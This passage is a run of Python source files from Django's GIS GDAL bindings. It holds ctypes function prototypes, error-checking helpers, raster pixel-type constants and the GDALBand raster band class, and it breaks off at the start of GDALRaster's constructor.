set_ds_projection_ref = void_output(std_call('GDALSetProjection'), [c_void_p, c_char_p])
get_ds_geotransform = void_output(std_call('GDALGetGeoTransform'), [c_void_p, POINTER(c_double * 6)], errcheck=False)
set_ds_geotransform = void_output(std_call('GDALSetGeoTransform'), [c_void_p, POINTER(c_double * 6)])

# Raster Band Routines
band_io = void_output(
    std_call('GDALRasterIO'),
    [c_void_p, c_int, c_int, c_int, c_int, c_int, c_void_p, c_int, c_int, c_int, c_int, c_int]
)
get_band_xsize = int_output(std_call('GDALGetRasterBandXSize'), [c_void_p])
get_band_ysize = int_output(std_call('GDALGetRasterBandYSize'), [c_void_p])
get_band_index = int_output(std_call('GDALGetBandNumber'), [c_void_p])
get_band_description = const_string_output(std_call('GDALGetDescription'), [c_void_p])
get_band_ds = voidptr_output(std_call('GDALGetBandDataset'), [c_void_p])
get_band_datatype = int_output(std_call('GDALGetRasterDataType'), [c_void_p])
get_band_nodata_value = double_output(std_call('GDALGetRasterNoDataValue'), [c_void_p, POINTER(c_int)])
set_band_nodata_value = void_output(std_call('GDALSetRasterNoDataValue'), [c_void_p, c_double])
if GDAL_VERSION >= (2, 1):
    delete_band_nodata_value = void_output(std_call('GDALDeleteRasterNoDataValue'), [c_void_p])
else:
    delete_band_nodata_value = None
get_band_statistics = void_output(
    std_call('GDALGetRasterStatistics'),
    [
        c_void_p, c_int, c_int, POINTER(c_double), POINTER(c_double),
        POINTER(c_double), POINTER(c_double), c_void_p, c_void_p,
    ],
)
compute_band_statistics = void_output(
    std_call('GDALComputeRasterStatistics'),
    [c_void_p, c_int, POINTER(c_double), POINTER(c_double), POINTER(c_double), POINTER(c_double), c_void_p, c_void_p],
)

# Reprojection routine
reproject_image = void_output(
    std_call('GDALReprojectImage'),
    [c_void_p, c_char_p, c_void_p, c_char_p, c_int, c_double, c_double, c_void_p, c_void_p, c_void_p]
)
auto_create_warped_vrt = voidptr_output(
    std_call('GDALAutoCreateWarpedVRT'),
    [c_void_p, c_char_p, c_char_p, c_int, c_double, c_void_p]
)






"""
 This module houses the error-checking routines used by the GDAL
 ctypes prototypes.
"""
from ctypes import c_void_p, string_at

from django.contrib.gis.gdal.error import (
    GDALException, SRSException, check_err,
)
from django.contrib.gis.gdal.libgdal import lgdal
from django.utils import six


# Helper routines for retrieving pointers and/or values from
# arguments passed in by reference.
def arg_byref(args, offset=-1):
    "Returns the pointer argument's by-reference value."
    return args[offset]._obj.value


def ptr_byref(args, offset=-1):
    "Returns the pointer argument passed in by-reference."
    return args[offset]._obj


# ### String checking Routines ###
def check_const_string(result, func, cargs, offset=None, cpl=False):
    """
    Similar functionality to `check_string`, but does not free the pointer.
    """
    if offset:
        check_err(result, cpl=cpl)
        ptr = ptr_byref(cargs, offset)
        return ptr.value
    else:
        return result


def check_string(result, func, cargs, offset=-1, str_result=False):
    """
    Checks the string output returned from the given function, and frees
    the string pointer allocated by OGR.  The `str_result` keyword
    may be used when the result is the string pointer, otherwise
    the OGR error code is assumed.  The `offset` keyword may be used
    to extract the string pointer passed in by-reference at the given
    slice offset in the function arguments.
    """
    if str_result:
        # For routines that return a string.
        ptr = result
        if not ptr:
            s = None
        else:
            s = string_at(result)
    else:
        # Error-code return specified.
        check_err(result)
        ptr = ptr_byref(cargs, offset)
        # Getting the string value
        s = ptr.value
    # Correctly freeing the allocated memory behind GDAL pointer
    # with the VSIFree routine.
    if ptr:
        lgdal.VSIFree(ptr)
    return s

# ### DataSource, Layer error-checking ###


# ### Envelope checking ###
def check_envelope(result, func, cargs, offset=-1):
    "Checks a function that returns an OGR Envelope by reference."
    env = ptr_byref(cargs, offset)
    return env


# ### Geometry error-checking routines ###
def check_geom(result, func, cargs):
    "Checks a function that returns a geometry."
    # OGR_G_Clone may return an integer, even though the
    # restype is set to c_void_p
    if isinstance(result, six.integer_types):
        result = c_void_p(result)
    if not result:
        raise GDALException('Invalid geometry pointer returned from "%s".' % func.__name__)
    return result


def check_geom_offset(result, func, cargs, offset=-1):
    "Chcks the geometry at the given offset in the C parameter list."
    check_err(result)
    geom = ptr_byref(cargs, offset=offset)
    return check_geom(geom, func, cargs)


# ### Spatial Reference error-checking routines ###
def check_srs(result, func, cargs):
    if isinstance(result, six.integer_types):
        result = c_void_p(result)
    if not result:
        raise SRSException('Invalid spatial reference pointer returned from "%s".' % func.__name__)
    return result


# ### Other error-checking routines ###
def check_arg_errcode(result, func, cargs, cpl=False):
    """
    The error code is returned in the last argument, by reference.
    Check its value with `check_err` before returning the result.
    """
    check_err(arg_byref(cargs), cpl=cpl)
    return result


def check_errcode(result, func, cargs, cpl=False):
    """
    Check the error code returned (c_int).
    """
    check_err(result, cpl=cpl)


def check_pointer(result, func, cargs):
    "Makes sure the result pointer is valid."
    if isinstance(result, six.integer_types):
        result = c_void_p(result)
    if result:
        return result
    else:
        raise GDALException('Invalid pointer returned from "%s"' % func.__name__)


def check_str_arg(result, func, cargs):
    """
    This is for the OSRGet[Angular|Linear]Units functions, which
    require that the returned string pointer not be freed.  This
    returns both the double and string values.
    """
    dbl = result
    ptr = cargs[-1]._obj
    return dbl, ptr.value.decode()






"""
 This module contains functions that generate ctypes prototypes for the
 GDAL routines.
"""
from ctypes import c_char_p, c_double, c_int, c_int64, c_void_p
from functools import partial

from django.contrib.gis.gdal.prototypes.errcheck import (
    check_arg_errcode, check_const_string, check_errcode, check_geom,
    check_geom_offset, check_pointer, check_srs, check_str_arg, check_string,
)


class gdal_char_p(c_char_p):
    pass


def double_output(func, argtypes, errcheck=False, strarg=False, cpl=False):
    "Generates a ctypes function that returns a double value."
    func.argtypes = argtypes
    func.restype = c_double
    if errcheck:
        func.errcheck = partial(check_arg_errcode, cpl=cpl)
    if strarg:
        func.errcheck = check_str_arg
    return func


def geom_output(func, argtypes, offset=None):
    """
    Generates a function that returns a Geometry either by reference
    or directly (if the return_geom keyword is set to True).
    """
    # Setting the argument types
    func.argtypes = argtypes

    if not offset:
        # When a geometry pointer is directly returned.
        func.restype = c_void_p
        func.errcheck = check_geom
    else:
        # Error code returned, geometry is returned by-reference.
        func.restype = c_int

        def geomerrcheck(result, func, cargs):
            return check_geom_offset(result, func, cargs, offset)
        func.errcheck = geomerrcheck

    return func


def int_output(func, argtypes):
    "Generates a ctypes function that returns an integer value."
    func.argtypes = argtypes
    func.restype = c_int
    return func


def int64_output(func, argtypes):
    "Generates a ctypes function that returns a 64-bit integer value."
    func.argtypes = argtypes
    func.restype = c_int64
    return func


def srs_output(func, argtypes):
    """
    Generates a ctypes prototype for the given function with
    the given C arguments that returns a pointer to an OGR
    Spatial Reference System.
    """
    func.argtypes = argtypes
    func.restype = c_void_p
    func.errcheck = check_srs
    return func


def const_string_output(func, argtypes, offset=None, decoding=None, cpl=False):
    func.argtypes = argtypes
    if offset:
        func.restype = c_int
    else:
        func.restype = c_char_p

    def _check_const(result, func, cargs):
        res = check_const_string(result, func, cargs, offset=offset, cpl=cpl)
        if res and decoding:
            res = res.decode(decoding)
        return res
    func.errcheck = _check_const

    return func


def string_output(func, argtypes, offset=-1, str_result=False, decoding=None):
    """
    Generates a ctypes prototype for the given function with the
    given argument types that returns a string from a GDAL pointer.
    The `const` flag indicates whether the allocated pointer should
    be freed via the GDAL library routine VSIFree -- but only applies
    only when `str_result` is True.
    """
    func.argtypes = argtypes
    if str_result:
        # Use subclass of c_char_p so the error checking routine
        # can free the memory at the pointer's address.
        func.restype = gdal_char_p
    else:
        # Error code is returned
        func.restype = c_int

    # Dynamically defining our error-checking function with the
    # given offset.
    def _check_str(result, func, cargs):
        res = check_string(result, func, cargs, offset=offset, str_result=str_result)
        if res and decoding:
            res = res.decode(decoding)
        return res
    func.errcheck = _check_str
    return func


def void_output(func, argtypes, errcheck=True, cpl=False):
    """
    For functions that don't only return an error code that needs to
    be examined.
    """
    if argtypes:
        func.argtypes = argtypes
    if errcheck:
        # `errcheck` keyword may be set to False for routines that
        # return void, rather than a status code.
        func.restype = c_int
        func.errcheck = partial(check_errcode, cpl=cpl)
    else:
        func.restype = None

    return func


def voidptr_output(func, argtypes, errcheck=True):
    "For functions that return c_void_p."
    func.argtypes = argtypes
    func.restype = c_void_p
    if errcheck:
        func.errcheck = check_pointer
    return func






"""
 This module houses the ctypes function prototypes for OGR DataSource
 related data structures. OGR_Dr_*, OGR_DS_*, OGR_L_*, OGR_F_*,
 OGR_Fld_* routines are relevant here.
"""
from ctypes import POINTER, c_char_p, c_double, c_int, c_long, c_void_p

from django.contrib.gis.gdal.envelope import OGREnvelope
from django.contrib.gis.gdal.libgdal import GDAL_VERSION, lgdal
from django.contrib.gis.gdal.prototypes.generation import (
    const_string_output, double_output, geom_output, int64_output, int_output,
    srs_output, void_output, voidptr_output,
)

c_int_p = POINTER(c_int)  # shortcut type

# Driver Routines
register_all = void_output(lgdal.OGRRegisterAll, [], errcheck=False)
cleanup_all = void_output(lgdal.OGRCleanupAll, [], errcheck=False)
get_driver = voidptr_output(lgdal.OGRGetDriver, [c_int])
get_driver_by_name = voidptr_output(lgdal.OGRGetDriverByName, [c_char_p], errcheck=False)
get_driver_count = int_output(lgdal.OGRGetDriverCount, [])
get_driver_name = const_string_output(lgdal.OGR_Dr_GetName, [c_void_p], decoding='ascii')

# DataSource
open_ds = voidptr_output(lgdal.OGROpen, [c_char_p, c_int, POINTER(c_void_p)])
destroy_ds = void_output(lgdal.OGR_DS_Destroy, [c_void_p], errcheck=False)
release_ds = void_output(lgdal.OGRReleaseDataSource, [c_void_p])
get_ds_name = const_string_output(lgdal.OGR_DS_GetName, [c_void_p])
get_layer = voidptr_output(lgdal.OGR_DS_GetLayer, [c_void_p, c_int])
get_layer_by_name = voidptr_output(lgdal.OGR_DS_GetLayerByName, [c_void_p, c_char_p])
get_layer_count = int_output(lgdal.OGR_DS_GetLayerCount, [c_void_p])

# Layer Routines
get_extent = void_output(lgdal.OGR_L_GetExtent, [c_void_p, POINTER(OGREnvelope), c_int])
get_feature = voidptr_output(lgdal.OGR_L_GetFeature, [c_void_p, c_long])
get_feature_count = int_output(lgdal.OGR_L_GetFeatureCount, [c_void_p, c_int])
get_layer_defn = voidptr_output(lgdal.OGR_L_GetLayerDefn, [c_void_p])
get_layer_srs = srs_output(lgdal.OGR_L_GetSpatialRef, [c_void_p])
get_next_feature = voidptr_output(lgdal.OGR_L_GetNextFeature, [c_void_p])
reset_reading = void_output(lgdal.OGR_L_ResetReading, [c_void_p], errcheck=False)
test_capability = int_output(lgdal.OGR_L_TestCapability, [c_void_p, c_char_p])
get_spatial_filter = geom_output(lgdal.OGR_L_GetSpatialFilter, [c_void_p])
set_spatial_filter = void_output(lgdal.OGR_L_SetSpatialFilter, [c_void_p, c_void_p], errcheck=False)
set_spatial_filter_rect = void_output(
    lgdal.OGR_L_SetSpatialFilterRect,
    [c_void_p, c_double, c_double, c_double, c_double], errcheck=False
)

# Feature Definition Routines
get_fd_geom_type = int_output(lgdal.OGR_FD_GetGeomType, [c_void_p])
get_fd_name = const_string_output(lgdal.OGR_FD_GetName, [c_void_p])
get_feat_name = const_string_output(lgdal.OGR_FD_GetName, [c_void_p])
get_field_count = int_output(lgdal.OGR_FD_GetFieldCount, [c_void_p])
get_field_defn = voidptr_output(lgdal.OGR_FD_GetFieldDefn, [c_void_p, c_int])

# Feature Routines
clone_feature = voidptr_output(lgdal.OGR_F_Clone, [c_void_p])
destroy_feature = void_output(lgdal.OGR_F_Destroy, [c_void_p], errcheck=False)
feature_equal = int_output(lgdal.OGR_F_Equal, [c_void_p, c_void_p])
get_feat_geom_ref = geom_output(lgdal.OGR_F_GetGeometryRef, [c_void_p])
get_feat_field_count = int_output(lgdal.OGR_F_GetFieldCount, [c_void_p])
get_feat_field_defn = voidptr_output(lgdal.OGR_F_GetFieldDefnRef, [c_void_p, c_int])
get_fid = int_output(lgdal.OGR_F_GetFID, [c_void_p])
get_field_as_datetime = int_output(
    lgdal.OGR_F_GetFieldAsDateTime,
    [c_void_p, c_int, c_int_p, c_int_p, c_int_p, c_int_p, c_int_p, c_int_p]
)
get_field_as_double = double_output(lgdal.OGR_F_GetFieldAsDouble, [c_void_p, c_int])
get_field_as_integer = int_output(lgdal.OGR_F_GetFieldAsInteger, [c_void_p, c_int])
if GDAL_VERSION >= (2, 0):
    get_field_as_integer64 = int64_output(lgdal.OGR_F_GetFieldAsInteger64, [c_void_p, c_int])
get_field_as_string = const_string_output(lgdal.OGR_F_GetFieldAsString, [c_void_p, c_int])
get_field_index = int_output(lgdal.OGR_F_GetFieldIndex, [c_void_p, c_char_p])

# Field Routines
get_field_name = const_string_output(lgdal.OGR_Fld_GetNameRef, [c_void_p])
get_field_precision = int_output(lgdal.OGR_Fld_GetPrecision, [c_void_p])
get_field_type = int_output(lgdal.OGR_Fld_GetType, [c_void_p])
get_field_type_name = const_string_output(lgdal.OGR_GetFieldTypeName, [c_int])
get_field_width = int_output(lgdal.OGR_Fld_GetWidth, [c_void_p])












from ctypes import POINTER, c_char_p, c_double, c_int, c_void_p

from django.contrib.gis.gdal.envelope import OGREnvelope
from django.contrib.gis.gdal.libgdal import lgdal
from django.contrib.gis.gdal.prototypes.errcheck import check_envelope
from django.contrib.gis.gdal.prototypes.generation import (
    const_string_output, double_output, geom_output, int_output, srs_output,
    string_output, void_output,
)


# ### Generation routines specific to this module ###
def env_func(f, argtypes):
    "For getting OGREnvelopes."
    f.argtypes = argtypes
    f.restype = None
    f.errcheck = check_envelope
    return f


def pnt_func(f):
    "For accessing point information."
    return double_output(f, [c_void_p, c_int])


def topology_func(f):
    f.argtypes = [c_void_p, c_void_p]
    f.restype = c_int
    f.errcheck = lambda result, func, cargs: bool(result)
    return f

# ### OGR_G ctypes function prototypes ###

# GeoJSON routines.
from_json = geom_output(lgdal.OGR_G_CreateGeometryFromJson, [c_char_p])
to_json = string_output(lgdal.OGR_G_ExportToJson, [c_void_p], str_result=True, decoding='ascii')
to_kml = string_output(lgdal.OGR_G_ExportToKML, [c_void_p, c_char_p], str_result=True, decoding='ascii')

# GetX, GetY, GetZ all return doubles.
getx = pnt_func(lgdal.OGR_G_GetX)
gety = pnt_func(lgdal.OGR_G_GetY)
getz = pnt_func(lgdal.OGR_G_GetZ)

# Geometry creation routines.
from_wkb = geom_output(lgdal.OGR_G_CreateFromWkb, [c_char_p, c_void_p, POINTER(c_void_p), c_int], offset=-2)
from_wkt = geom_output(lgdal.OGR_G_CreateFromWkt, [POINTER(c_char_p), c_void_p, POINTER(c_void_p)], offset=-1)
from_gml = geom_output(lgdal.OGR_G_CreateFromGML, [c_char_p])
create_geom = geom_output(lgdal.OGR_G_CreateGeometry, [c_int])
clone_geom = geom_output(lgdal.OGR_G_Clone, [c_void_p])
get_geom_ref = geom_output(lgdal.OGR_G_GetGeometryRef, [c_void_p, c_int])
get_boundary = geom_output(lgdal.OGR_G_GetBoundary, [c_void_p])
geom_convex_hull = geom_output(lgdal.OGR_G_ConvexHull, [c_void_p])
geom_diff = geom_output(lgdal.OGR_G_Difference, [c_void_p, c_void_p])
geom_intersection = geom_output(lgdal.OGR_G_Intersection, [c_void_p, c_void_p])
geom_sym_diff = geom_output(lgdal.OGR_G_SymmetricDifference, [c_void_p, c_void_p])
geom_union = geom_output(lgdal.OGR_G_Union, [c_void_p, c_void_p])

# Geometry modification routines.
add_geom = void_output(lgdal.OGR_G_AddGeometry, [c_void_p, c_void_p])
import_wkt = void_output(lgdal.OGR_G_ImportFromWkt, [c_void_p, POINTER(c_char_p)])

# Destroys a geometry
destroy_geom = void_output(lgdal.OGR_G_DestroyGeometry, [c_void_p], errcheck=False)

# Geometry export routines.
to_wkb = void_output(lgdal.OGR_G_ExportToWkb, None, errcheck=True)  # special handling for WKB.
to_wkt = string_output(lgdal.OGR_G_ExportToWkt, [c_void_p, POINTER(c_char_p)], decoding='ascii')
to_gml = string_output(lgdal.OGR_G_ExportToGML, [c_void_p], str_result=True, decoding='ascii')
get_wkbsize = int_output(lgdal.OGR_G_WkbSize, [c_void_p])

# Geometry spatial-reference related routines.
assign_srs = void_output(lgdal.OGR_G_AssignSpatialReference, [c_void_p, c_void_p], errcheck=False)
get_geom_srs = srs_output(lgdal.OGR_G_GetSpatialReference, [c_void_p])

# Geometry properties
get_area = double_output(lgdal.OGR_G_GetArea, [c_void_p])
get_centroid = void_output(lgdal.OGR_G_Centroid, [c_void_p, c_void_p])
get_dims = int_output(lgdal.OGR_G_GetDimension, [c_void_p])
get_coord_dim = int_output(lgdal.OGR_G_GetCoordinateDimension, [c_void_p])
set_coord_dim = void_output(lgdal.OGR_G_SetCoordinateDimension, [c_void_p, c_int], errcheck=False)

get_geom_count = int_output(lgdal.OGR_G_GetGeometryCount, [c_void_p])
get_geom_name = const_string_output(lgdal.OGR_G_GetGeometryName, [c_void_p], decoding='ascii')
get_geom_type = int_output(lgdal.OGR_G_GetGeometryType, [c_void_p])
get_point_count = int_output(lgdal.OGR_G_GetPointCount, [c_void_p])
get_point = void_output(
    lgdal.OGR_G_GetPoint,
    [c_void_p, c_int, POINTER(c_double), POINTER(c_double), POINTER(c_double)], errcheck=False
)
geom_close_rings = void_output(lgdal.OGR_G_CloseRings, [c_void_p], errcheck=False)

# Topology routines.
ogr_contains = topology_func(lgdal.OGR_G_Contains)
ogr_crosses = topology_func(lgdal.OGR_G_Crosses)
ogr_disjoint = topology_func(lgdal.OGR_G_Disjoint)
ogr_equals = topology_func(lgdal.OGR_G_Equals)
ogr_intersects = topology_func(lgdal.OGR_G_Intersects)
ogr_overlaps = topology_func(lgdal.OGR_G_Overlaps)
ogr_touches = topology_func(lgdal.OGR_G_Touches)
ogr_within = topology_func(lgdal.OGR_G_Within)

# Transformation routines.
geom_transform = void_output(lgdal.OGR_G_Transform, [c_void_p, c_void_p])
geom_transform_to = void_output(lgdal.OGR_G_TransformTo, [c_void_p, c_void_p])

# For retrieving the envelope of the geometry.
get_envelope = env_func(lgdal.OGR_G_GetEnvelope, [c_void_p, POINTER(OGREnvelope)])






from ctypes import POINTER, c_char_p, c_int, c_void_p

from django.contrib.gis.gdal.libgdal import lgdal, std_call
from django.contrib.gis.gdal.prototypes.generation import (
    const_string_output, double_output, int_output, srs_output, string_output,
    void_output,
)


# Shortcut generation for routines with known parameters.
def srs_double(f):
    """
    Creates a function prototype for the OSR routines that take
    the OSRSpatialReference object and
    """
    return double_output(f, [c_void_p, POINTER(c_int)], errcheck=True)


def units_func(f):
    """
    Creates a ctypes function prototype for OSR units functions, e.g.,
    OSRGetAngularUnits, OSRGetLinearUnits.
    """
    return double_output(f, [c_void_p, POINTER(c_char_p)], strarg=True)

# Creation & destruction.
clone_srs = srs_output(std_call('OSRClone'), [c_void_p])
new_srs = srs_output(std_call('OSRNewSpatialReference'), [c_char_p])
release_srs = void_output(lgdal.OSRRelease, [c_void_p], errcheck=False)
destroy_srs = void_output(std_call('OSRDestroySpatialReference'), [c_void_p], errcheck=False)
srs_validate = void_output(lgdal.OSRValidate, [c_void_p])

# Getting the semi_major, semi_minor, and flattening functions.
semi_major = srs_double(lgdal.OSRGetSemiMajor)
semi_minor = srs_double(lgdal.OSRGetSemiMinor)
invflattening = srs_double(lgdal.OSRGetInvFlattening)

# WKT, PROJ, EPSG, XML importation routines.
from_wkt = void_output(lgdal.OSRImportFromWkt, [c_void_p, POINTER(c_char_p)])
from_proj = void_output(lgdal.OSRImportFromProj4, [c_void_p, c_char_p])
from_epsg = void_output(std_call('OSRImportFromEPSG'), [c_void_p, c_int])
from_xml = void_output(lgdal.OSRImportFromXML, [c_void_p, c_char_p])
from_user_input = void_output(std_call('OSRSetFromUserInput'), [c_void_p, c_char_p])

# Morphing to/from ESRI WKT.
morph_to_esri = void_output(lgdal.OSRMorphToESRI, [c_void_p])
morph_from_esri = void_output(lgdal.OSRMorphFromESRI, [c_void_p])

# Identifying the EPSG
identify_epsg = void_output(lgdal.OSRAutoIdentifyEPSG, [c_void_p])

# Getting the angular_units, linear_units functions
linear_units = units_func(lgdal.OSRGetLinearUnits)
angular_units = units_func(lgdal.OSRGetAngularUnits)

# For exporting to WKT, PROJ.4, "Pretty" WKT, and XML.
to_wkt = string_output(std_call('OSRExportToWkt'), [c_void_p, POINTER(c_char_p)], decoding='utf-8')
to_proj = string_output(std_call('OSRExportToProj4'), [c_void_p, POINTER(c_char_p)], decoding='ascii')
to_pretty_wkt = string_output(
    std_call('OSRExportToPrettyWkt'),
    [c_void_p, POINTER(c_char_p), c_int], offset=-2, decoding='utf-8'
)

# Memory leak fixed in GDAL 1.5; still exists in 1.4.
to_xml = string_output(lgdal.OSRExportToXML, [c_void_p, POINTER(c_char_p), c_char_p], offset=-2, decoding='utf-8')

# String attribute retrival routines.
get_attr_value = const_string_output(std_call('OSRGetAttrValue'), [c_void_p, c_char_p, c_int], decoding='utf-8')
get_auth_name = const_string_output(lgdal.OSRGetAuthorityName, [c_void_p, c_char_p], decoding='ascii')
get_auth_code = const_string_output(lgdal.OSRGetAuthorityCode, [c_void_p, c_char_p], decoding='ascii')

# SRS Properties
isgeographic = int_output(lgdal.OSRIsGeographic, [c_void_p])
islocal = int_output(lgdal.OSRIsLocal, [c_void_p])
isprojected = int_output(lgdal.OSRIsProjected, [c_void_p])

# Coordinate transformation
new_ct = srs_output(std_call('OCTNewCoordinateTransformation'), [c_void_p, c_void_p])
destroy_ct = void_output(std_call('OCTDestroyCoordinateTransformation'), [c_void_p], errcheck=False)






"""
GDAL - Constant definitions
"""
from ctypes import (
    c_double, c_float, c_int16, c_int32, c_ubyte, c_uint16, c_uint32,
)

# See http://www.gdal.org/gdal_8h.html#a22e22ce0a55036a96f652765793fb7a4
GDAL_PIXEL_TYPES = {
    0: 'GDT_Unknown',  # Unknown or unspecified type
    1: 'GDT_Byte',  # Eight bit unsigned integer
    2: 'GDT_UInt16',  # Sixteen bit unsigned integer
    3: 'GDT_Int16',  # Sixteen bit signed integer
    4: 'GDT_UInt32',  # Thirty-two bit unsigned integer
    5: 'GDT_Int32',  # Thirty-two bit signed integer
    6: 'GDT_Float32',  # Thirty-two bit floating point
    7: 'GDT_Float64',  # Sixty-four bit floating point
    8: 'GDT_CInt16',  # Complex Int16
    9: 'GDT_CInt32',  # Complex Int32
    10: 'GDT_CFloat32',  # Complex Float32
    11: 'GDT_CFloat64',  # Complex Float64
}

# A list of gdal datatypes that are integers.
GDAL_INTEGER_TYPES = [1, 2, 3, 4, 5]

# Lookup values to convert GDAL pixel type indices into ctypes objects.
# The GDAL band-io works with ctypes arrays to hold data to be written
# or to hold the space for data to be read into. The lookup below helps
# selecting the right ctypes object for a given gdal pixel type.
GDAL_TO_CTYPES = [
    None, c_ubyte, c_uint16, c_int16, c_uint32, c_int32,
    c_float, c_double, None, None, None, None
]

# List of resampling algorithms that can be used to warp a GDALRaster.
GDAL_RESAMPLE_ALGORITHMS = {
    'NearestNeighbour': 0,
    'Bilinear': 1,
    'Cubic': 2,
    'CubicSpline': 3,
    'Lanczos': 4,
    'Average': 5,
    'Mode': 6,
}












from ctypes import byref, c_double, c_int, c_void_p

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.gdal.prototypes import raster as capi
from django.contrib.gis.shortcuts import numpy
from django.utils import six
from django.utils.encoding import force_text
from django.utils.six.moves import range

from .const import GDAL_INTEGER_TYPES, GDAL_PIXEL_TYPES, GDAL_TO_CTYPES


class GDALBand(GDALBase):
    """
    Wraps a GDAL raster band, needs to be obtained from a GDALRaster object.
    """
    def __init__(self, source, index):
        self.source = source
        self._ptr = capi.get_ds_raster_band(source._ptr, index)

    def _flush(self):
        """
        Call the flush method on the Band's parent raster and force a refresh
        of the statistics attribute when requested the next time.
        """
        self.source._flush()
        self._stats_refresh = True

    @property
    def description(self):
        """
        Returns the description string of the band.
        """
        return force_text(capi.get_band_description(self._ptr))

    @property
    def width(self):
        """
        Width (X axis) in pixels of the band.
        """
        return capi.get_band_xsize(self._ptr)

    @property
    def height(self):
        """
        Height (Y axis) in pixels of the band.
        """
        return capi.get_band_ysize(self._ptr)

    @property
    def pixel_count(self):
        """
        Returns the total number of pixels in this band.
        """
        return self.width * self.height

    _stats_refresh = False

    def statistics(self, refresh=False, approximate=False):
        """
        Compute statistics on the pixel values of this band.

        The return value is a tuple with the following structure:
        (minimum, maximum, mean, standard deviation).

        If approximate=True, the statistics may be computed based on overviews
        or a subset of image tiles.

        If refresh=True, the statistics will be computed from the data directly,
        and the cache will be updated where applicable.

        For empty bands (where all pixel values are nodata), all statistics
        values are returned as None.

        For raster formats using Persistent Auxiliary Metadata (PAM) services,
        the statistics might be cached in an auxiliary file.
        """
        # Prepare array with arguments for capi function
        smin, smax, smean, sstd = c_double(), c_double(), c_double(), c_double()
        stats_args = [
            self._ptr, c_int(approximate), byref(smin), byref(smax),
            byref(smean), byref(sstd), c_void_p(), c_void_p(),
        ]

        if refresh or self._stats_refresh:
            func = capi.compute_band_statistics
        else:
            # Add additional argument to force computation if there is no
            # existing PAM file to take the values from.
            force = True
            stats_args.insert(2, c_int(force))
            func = capi.get_band_statistics

        # Computation of statistics fails for empty bands.
        try:
            func(*stats_args)
            result = smin.value, smax.value, smean.value, sstd.value
        except GDALException:
            result = (None, None, None, None)

        self._stats_refresh = False

        return result

    @property
    def min(self):
        """
        Return the minimum pixel value for this band.
        """
        return self.statistics()[0]

    @property
    def max(self):
        """
        Return the maximum pixel value for this band.
        """
        return self.statistics()[1]

    @property
    def mean(self):
        """
        Return the mean of all pixel values of this band.
        """
        return self.statistics()[2]

    @property
    def std(self):
        """
        Return the standard deviation of all pixel values of this band.
        """
        return self.statistics()[3]

    @property
    def nodata_value(self):
        """
        Returns the nodata value for this band, or None if it isn't set.
        """
        # Get value and nodata exists flag
        nodata_exists = c_int()
        value = capi.get_band_nodata_value(self._ptr, nodata_exists)
        if not nodata_exists:
            value = None
        # If the pixeltype is an integer, convert to int
        elif self.datatype() in GDAL_INTEGER_TYPES:
            value = int(value)
        return value

    @nodata_value.setter
    def nodata_value(self, value):
        """
        Sets the nodata value for this band.
        """
        if value is None:
            if not capi.delete_band_nodata_value:
                raise ValueError('GDAL >= 2.1 required to delete nodata values.')
            capi.delete_band_nodata_value(self._ptr)
        elif not isinstance(value, (int, float)):
            raise ValueError('Nodata value must be numeric or None.')
        else:
            capi.set_band_nodata_value(self._ptr, value)
        self._flush()

    def datatype(self, as_string=False):
        """
        Returns the GDAL Pixel Datatype for this band.
        """
        dtype = capi.get_band_datatype(self._ptr)
        if as_string:
            dtype = GDAL_PIXEL_TYPES[dtype]
        return dtype

    def data(self, data=None, offset=None, size=None, shape=None, as_memoryview=False):
        """
        Reads or writes pixel values for this band. Blocks of data can
        be accessed by specifying the width, height and offset of the
        desired block. The same specification can be used to update
        parts of a raster by providing an array of values.

        Allowed input data types are bytes, memoryview, list, tuple, and array.
        """
        if not offset:
            offset = (0, 0)

        if not size:
            size = (self.width - offset[0], self.height - offset[1])

        if not shape:
            shape = size

        if any(x <= 0 for x in size):
            raise ValueError('Offset too big for this raster.')

        if size[0] > self.width or size[1] > self.height:
            raise ValueError('Size is larger than raster.')

        # Create ctypes type array generator
        ctypes_array = GDAL_TO_CTYPES[self.datatype()] * (shape[0] * shape[1])

        if data is None:
            # Set read mode
            access_flag = 0
            # Prepare empty ctypes array
            data_array = ctypes_array()
        else:
            # Set write mode
            access_flag = 1

            # Instantiate ctypes array holding the input data
            if isinstance(data, (bytes, six.memoryview)) or (numpy and isinstance(data, numpy.ndarray)):
                data_array = ctypes_array.from_buffer_copy(data)
            else:
                data_array = ctypes_array(*data)

        # Access band
        capi.band_io(self._ptr, access_flag, offset[0], offset[1],
                     size[0], size[1], byref(data_array), shape[0],
                     shape[1], self.datatype(), 0, 0)

        # Return data as numpy array if possible, otherwise as list
        if data is None:
            if as_memoryview:
                return memoryview(data_array)
            elif numpy:
                # reshape() needs a reshape parameter with the height first.
                return numpy.frombuffer(
                    data_array, dtype=numpy.dtype(data_array)
                ).reshape(tuple(reversed(size)))
            else:
                return list(data_array)
        else:
            self._flush()


class BandList(list):
    def __init__(self, source):
        self.source = source
        list.__init__(self)

    def __iter__(self):
        for idx in range(1, len(self) + 1):
            yield GDALBand(self.source, idx)

    def __len__(self):
        return capi.get_ds_raster_count(self.source._ptr)

    def __getitem__(self, index):
        try:
            return GDALBand(self.source, index + 1)
        except GDALException:
            raise GDALException('Unable to get band index %d' % index)






import json
import os
from ctypes import addressof, byref, c_double, c_void_p

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.driver import Driver
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.gdal.prototypes import raster as capi
from django.contrib.gis.gdal.raster.band import BandList
from django.contrib.gis.gdal.raster.const import GDAL_RESAMPLE_ALGORITHMS
from django.contrib.gis.gdal.srs import SpatialReference, SRSException
from django.contrib.gis.geometry.regex import json_regex
from django.utils import six
from django.utils.encoding import (
    force_bytes, force_text, python_2_unicode_compatible,
)
from django.utils.functional import cached_property


class TransformPoint(list):
    indices = {
        'origin': (0, 3),
        'scale': (1, 5),
        'skew': (2, 4),
    }

    def __init__(self, raster, prop):
        x = raster.geotransform[self.indices[prop][0]]
        y = raster.geotransform[self.indices[prop][1]]
        list.__init__(self, [x, y])
        self._raster = raster
        self._prop = prop

    @property
    def x(self):
        return self[0]

    @x.setter
    def x(self, value):
        gtf = self._raster.geotransform
        gtf[self.indices[self._prop][0]] = value
        self._raster.geotransform = gtf

    @property
    def y(self):
        return self[1]

    @y.setter
    def y(self, value):
        gtf = self._raster.geotransform
        gtf[self.indices[self._prop][1]] = value
        self._raster.geotransform = gtf


@python_2_unicode_compatible
class GDALRaster(GDALBase):
    """
    Wraps a raster GDAL Data Source object.
    """
    def __init__(self, ds_input, write=False):
